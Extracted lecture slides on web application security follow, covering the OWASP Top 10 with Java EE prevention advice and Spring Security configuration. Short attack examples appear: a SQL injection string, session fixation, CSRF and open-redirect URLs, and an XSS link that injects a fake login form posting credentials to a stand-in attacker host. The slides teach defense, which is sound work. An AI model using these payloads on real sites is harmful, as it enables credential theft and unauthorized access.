

Security

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
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About Web Security




What is application security ?



see [2]



So what can happen ?



- taken from [6]
- first half of 2013
- Let's focus on application security risks
- Risk = vulnerability + impact

New App: <http://www-03.ibm.com/security/xforce/xfisi>



Selected Vocabulary


Spear phishing is phishing targeted at specific individuals/organizations.

DDoS (Distributed Denial of Service) means that more computers try to perform DoS

Watering Hole means infecting some group/community/regional/industrial site with malware



Application Security Risks



Taken from OWASP web site, <http://www.owasp.org>, ©OWASP



OWASP


- Open Web Application Security Project
- <http://www.owasp.org>
- Risk analysis, guidelines, tutorials, software for handling security in web applications properly.
- ESAPI
- Since 2002



OWASP Top 10



Web Application Vulnerabilities



Top 10 web application vulnerabilities for 2006 – taken from [3]



OWASP Top 10, 2010 [4]

Injection	Cross-Site Scripting (XSS)
Broken Authentication and Session Management	Insecure Direct Object References
Cross-Site Request Forgery (CSRF)	Security Misconfiguration
Insecure Cryptographic Storage	Failure to Restrict URL Access
Insufficient Transport Layer Protection	Unvalidated Redirects and Forwards

On the next slides: A = attacker, V = victim.



OWASP Top 10, 2013 [5]

Injection	Cross-Site Scripting (XSS)
Broken Authentication and Session Management	Insecure Direct Object References
Security Misconfiguration	Sensitive Data Exposure
Missing function level access control	Cross-site request forgery
Using known vulnerable components	Unvalidated Redirects and Forwards

Bold = new in top 10. Next release expected in 2017.

On the next slides: A = attacker, V = victim.



Injection

Vulnerability

A sends a text in the syntax of the targeted interpreter to run an unintended (malicious) code. Server-side.

Prevention in Java EE

- ▶ escaping manually, e.g. preventing injection into Java – `Runtime.exec()`, scripting languages.
- ▶ by means of a safe API, e.g. secure database access using :
 - JDBC (SQL) → `PreparedStatement`
 - JPA (SQL,JPQL) → bind parameters, criteria API

Example

A sends: `http://ex.com/userList?id=' or ' 1' = ' 1'` The processing servlet executes the following code:

```
String query = "SELECT * FROM users WHERE uid=" + "" +
    request.getParameter("id") + "";
```

Broken Authentication and Session Management

Vulnerability

A uses flaws in authentication or session management (exposed accounts, plain-text passwds, session ids)

Prevention in Java EE

- ▶ Use HTTPS for authentication and sensitive data exchange
- ▶ Use a security library (ESAPI, Spring Sec., container sec.)
- ▶ Force strong passwords
- ▶ **Hash all passwords**
- ▶ **Bind session to more factors (IP)**

Example

- ▶ **A** sends a link to **V** with jsessionid in URL
`http://ex.com;jsessionid=2P005FF01...`
- ▶ **V** logs in (having jsessionid in the request), then **A** can use the same session to access the account of **V**.

Cross-Site Scripting (XSS)

Vulnerability

The mechanism is similar to injection, only applied on the client side. **A** ensures a malicious script gets into the **V**'s browser. The script can e.g. steal the session, or perform redirect.

Prevention in Java EE

Escape/validate both server-handled (Java) and client-handled (JavaScript) inputs

Example

Persistent – a script code filled by **A** into a web form (e.g. discussion forum) gets into DB and **V** retrieves (and runs) it to the browser through normal application operation.

Non-persistent – **A** prepares a malicious link

```
http://ex.com/search?q=' /><hr/><br>Login:<br/><formaction=' http://attack.com/saveStolenLogin'>Username:<inputtype=typename=login></br>Password:<inputtype=typename=password><inputtype=submitvalue=LOGIN></form></br>' <hr/>
and sends it by email to V. Clicking the link inserts the JavaScript into the V's page asking V to provide his credentials to the malicious site.
```

Insecure Direct Object References

Vulnerability

A is an authenticated user and changes a parameter to access an unauthorized object.

Prevention in Java EE

- ▶ Check access by *data-driven security*
- ▶ Use per user/session indirect object references – e.g. `AccessReferenceMap` of ESAPI

Example

A is an authenticated regular user being able to view/edit his/her user details being stored as a record with `id=3` in the db table `users`. Instead (s)he retrieves another record (s)he is not authorized for:

`http://ex.com/users?id=2` The request is processed as

```
PreparedStatement s
  = c.prepareStatement("SELECT * FROM users WHERE id=?",...);
s.setString(1,request.getParameter("id"));
s.executeQuery();
```


Security Misconfiguration

Vulnerability

A accesses default accounts, unprotected files/directories, exception stack traces to get knowledge about the system.

Prevention in Java EE

- ▶ keep your SW stack (OS, DB, app server, libraries) up-to-date
- ▶ scans/audits/tests to check that no resource turned unprotected, stacktrace gets out on exception ...

Example

- ▶ Application uses *older version of library* (e.g. Spring) having a security issue. In newer version the issue is fixed, but the application is not updated to the newer version.
- ▶ Automatically installed admin console of application server and not removed providing access through *default passwords*.
- ▶ *Enabled directory listing* allows **A** to download Java classes from the server, reverse-engineer them and find security flaws of your app.
- ▶ The *application returns stack trace on exception*, revealing its internals to **A**.

Sensitive Data Exposure

Vulnerability

A typically doesn't break the crypto. Instead, (s)he looks for plain-text keys, weakly encrypted keys, access open channels transmitting sensitive data, by means of man-in-the-middle attacks, stealing keys, etc.

Prevention in Java EE

- ▶ Encryption of offsite backups, keeping encryption keys safe
- ▶ Discard unused sensitive data
- ▶ Hashing passwords with *strong algorithms and salt*, e.g. bcrypt, PBKDF2, or scrypt.

Example

- ▶ A backup of encrypted health records is stored together with the encryption key. A can steal both.
- ▶ A site doesn't SSL for all authenticated resources. A monitors network traffic and observes V's session cookie.
- ▶ unsalted hashes – how quickly can you crack this MD5 hash

ee3a51c1fb3e6a7adcc7366d263899a3
(try e.g. <http://www.md5decrypter.co.uk>)

What is hashing ?

- Hashing = One-way function to a fixed-length string
 - Today e.g. SHA256, RipeMD, WHIRLPOOL, SHA3
- (Unsalted) Hash (MD5, SHA)
 - "wpa2" $\xrightarrow{md5}$ "ee3a51c1fb3e6a7adcc7366d263899a3"
 - Why not ? Look at the previous slide – generally brute forced in 4 weeks
- Salted hash (MD5, SHA)
 - salt = "eb6d5c4b6a5d1b6cd1b62d1cb65cd9f5"
 - "wpa2"+salt $\xrightarrow{md5}$ = "4d4680be6836271ed251057b839aba1c"
 - Useful when defending attacks on multiple passwords. Preventing from using rainbow tables.
 - SHA-1 Generally brute forced reasonable time (1 hour for top-world HW [7])



Missing Function Level Access Control

Vulnerability

A is an authenticated user, but does should not have admin privileges. By simply changing the URL, **A** is able to access functions not allowed for him/her.

Prevention in Java EE

- ▶ Proper role-based authorization
- ▶ Deny by default + Opt-In Allow
- ▶ *Not enough to hide buttons, also the controllers/business layer must be protected.*

Example

- ▶ Consider two pages under authentication:
`http://example.com/app/getappInfo`
`http://example.com/app/admin_getappInfo`
- ▶ **A** is authorized for both pages but should be only for the first one as (s)he is not in the admin role.

Cross-Site Request Forgery

Vulnerability

A creates a forged HTTP request and tricks **V** into submitting it (image tags, XSS) *while authenticated*.

Prevention in Java EE

Insert a unique token in a hidden field – the attacker will not be able to guess it.

Example

A creates a forged request that transfers amount of money (amnt) to the account of **A** (dest)

```
http://ex.com/transfer?amnt=1000&dest=123456
```

This request is embedded into an image tag on a page controlled by **A** and visited by **V** who is tricked to click on it

```

```

Using Components with Known Vulnerabilities

Vulnerability

The software uses a framework library with known security issues (or one of its dependencies). **A** scans the components used and attacks in a known manner.

Prevention in Java EE

- ▶ Use only components you wrote yourselves :-)
- ▶ Track versions of all third-party libraries you are using (e.g. by Maven) and monitor their security issues on mailing lists, fora, etc.
- ▶ Use security wrappers around external components.

Example

From [5] – “The following two vulnerable components were downloaded 22m times in 2011”:

Apache CXF Authentication Bypass – By failing to provide an identity token, attackers could invoke any web service with full permission. (Apache CXF is a services framework, not to be confused with the Apache Application Server.)

Spring Remote Code Execution – Abuse of the Expression Language implementation in Spring allowed attackers to execute arbitrary code, effectively taking over the server.”



Unvalidated Redirects and Forwards

Vulnerability

A tricks **V** to click a link performing unvalidated redirect/forward that might take **V** into a malicious site looking similar (phishing)

Prevention in Java EE

- ▶ Avoid redirects/forwards
- ▶ ... if not possible, don't involve user supplied parameters in calculating the redirect destination.
- ▶ ... if not possible, check the supplied values before constructing URL.

Example

A makes **V** click on

```
http://ex.com/redirect.jsp?url=malicious.com
```

which passes URL parameter to JSP page `redirect.jsp` that finally redirects to `malicious.com`.

OWASP Mobile Top 10, 2016 [1]

M1: Improper Platform Usage Mobile Platform Security Control (Permissions, Keychain, etc.)	M2: Insecure Data Storage Insecure data storage and unintended data leakage
M3: Insecure Communication incorrect SSL versions, poor handshaking, etc.	M4: Insecure Authentication failing to identify the user/maintain his/her identity, etc.
M5: Insufficient Cryptography MD5 hash, unsalted hash, etc.	M6: Insecure Authorization authorization on client side, etc.
M7: Client Code Quality buffer overflows, format string vulnerabilities, etc.	M8: Code Tampering dynamic memory modification, method hooking, etc.
M9: Reverse Engineering tampering intellectual property and other vulnerabilities, etc.	M10: Extraneous Functionality forgot to reenable 2-factor authentication after testing, putting passwords to logs, etc.



Security for Java Web Applications



Security Libraries

- ESAPI

https://www.owasp.org/index.php/Category:OWASP_Enterprise_Security_API

- JAAS (∈ Java EE)

<http://docs.oracle.com/javase/6/docs/technotes/guides/security>

- Spring Security

<http://static.springsource.org/spring-security/site>

- Apache Shiro

<http://shiro.apache.org>



Spring Security

- formerly Acegi Security
- secures
 - Per architectural artifact:
 - web requests and access at the URL
 - method invocation (through AOP)
 - Per authorization object type:
 - operations
 - data
- authentication and authorization




Spring Security Modules

ACL – domain object security by Access Control Lists

CAS – Central Authentication Service client

Configuration – Spring Security XML namespace 

Core – Essential Spring Security Library 

LDAP – Support for LDAP authentication

OpenID – Integration with OpenID (decentralized login)

Tag Library – JSP tags for view-level security

Web – Spring Security's filter-based web security support






Securing Web Requests

- Prevent users access unauthorized URLs
- Force HTTPs for some URLs
- First step: declare a servlet filter in `web.xml` :

Name of a Spring bean, that is automatically created

```
<filter>
  <filter-name>springSecurityFilterChain</filter-name>
  <filter-class>
    org.springframework.web.filter.DelegatingFilterProxy
  </filter-class>
</filter>
```



Basic Security Setup

- Basic security setup in `app-security.xml`:

```
<http auto-config="true">  
  <intercept-url pattern="/**" access="ROLE_REGULAR"/>  
</http>
```

- These lines automatically setup
 - a filter chain delegated from `springSecurityFilterChain`.
 - a login page
 - a HTTP basic authentication
 - logout functionality – session invalidation



Customizing Security Setup

- Defining custom login form:

```
<http auto-config="true">
  <form-login
    login-processing-url="/static/j_spring_security_check"
    login-page="/login"
    authentication-failure-url="/login?login_error=t"/>
    <intercept-url pattern="/**" access="ROLE_REGULAR"/>
</http>
```

Where is the login page

Where to redirect on login failure

Where the login page is submitted to authenticate users

- ... for a custom JSP login page:

```
<spring:url var="authUrl" value="/static/j_spring_security_check"/>
<form method="post" action="${authUrl}">
  ... <input id="username_or_email" name="j_username" type="text"/>
  ... <input id="password" name="j_password" type="password" />
  ... <input id="remember_me" name="_spring_security_remember_me"
    type="checkbox"/>
  ... <input name="commit" type="submit" value="SignIn"/>
</form>
```



Intercepting Requests and HTTPS

- Intercept-url rules are evaluated top-bottom; it is possible to use various SpEL expressions in the access attribute (e.g. `hasRole`, `hasAnyRole`, `hasIpAddress`)

- ```

<http auto-config="true" use-expressions="true">
 <intercept-url
 pattern="/admin/**"
 access="ROLE_ADM"
 requires-channel="https"/>
 <intercept-url pattern="/user/**" access="ROLE_USR"/>
 <intercept-url
 pattern="/usermanagement/**"
 access="hasAnyRole('ROLE_MGR', 'ROLE_ADM')" />
 <intercept-url
 pattern="/**"
 access="hasRole('ROLE_ADM') and
hasIpAddress('192.168.1.2')" />
</http>

```

Allows SpEL

Forces HTTPS





# Securing View-level elements

- JSP

- Spring Security ships with a small JSP tag library for access control:

```
<%@ taglibprefix="security"
uri="http://www.springframework.org/security/tags"%>
```

- JSF

- Integrated using Facelet tags, see

<http://static.springsource.org/spring-webflow/docs/2.2.x/reference/html/ch13s09.html>



# Authentication

- In-memory
- JDBC
- LDAP
- OpenID
- CAS
- X.509 certificates
- JAAS



# Securing Methods

```
<global-method-security
secured-annotations="enabled"
jsr250-annotations="enabled" />
```

@Secured

@RolesAllowed  
(compliant with EJB 3)

- Example

```
@Secured("ROLE_ADM", "ROLE_MGR")
public void addUser(String id, String name) {
 ...
}
```



# Ensuring Data Security

```
<global-method-security
pre-post-annotations="enabled" />
```

@PreAuthorize  
@PostAuthorize  
@PostFilter  
@PreFilter

Authorizes method execution only for managers coming from given IP.

```
@PreAuthorize(" (hasRole('ROLE_MGR') AND
hasIpAddress('192.168.1.2'))")
@PostFilter("filterObject.owner.username ==
principal.username")
public List<Account> getAccountsForCurrentUser()
{
...
}
```

Returns only those accounts  
in the return list that are  
owned by currently logged user



- [1] OWASP Mobile Top 10, 2014.  
[https://www.owasp.org/index.php/Mobile\\_Top\\_10\\_2016-Top\\_10](https://www.owasp.org/index.php/Mobile_Top_10_2016-Top_10).  
Online; accessed 1.12.2016.
- [2] OWASP Secure Coding Practices - Quick Reference Guide.  
[https://www.owasp.org/index.php/OWASP\\_Secure\\_Coding\\_Practices\\_-\\_Quick\\_Reference\\_Guide](https://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide).  
Online; accessed 1.12.2016.
- [3] Owasp top 10, 2007.  
[http://www.owasp.org/images/e/e8/OWASP\\_Top\\_10\\_2007.pdf](http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf).  
Online; accessed 11.12.2012.
- [4] OWASP Top 10, 2010.  
<http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202010.pdf>.  
Online; accessed 11.12.2012.
- [5] OWASP Top 10, 2013.  
<http://owasptop10.googlecode.com/files/OWASP%20Top%2010%20-%202013.pdf>.  
Online; accessed 10.12.2014.
- [6] IBM X-Force 2013 Mid-Year Trend and Risk Report, 2013.
- [7] J. Böhm-Mäder and T. Wüst.  
*WebSphere MQ Security: Tales of Scowling Wolves Among Unglamorous Sheep*.  
Books on Demand, 2011.

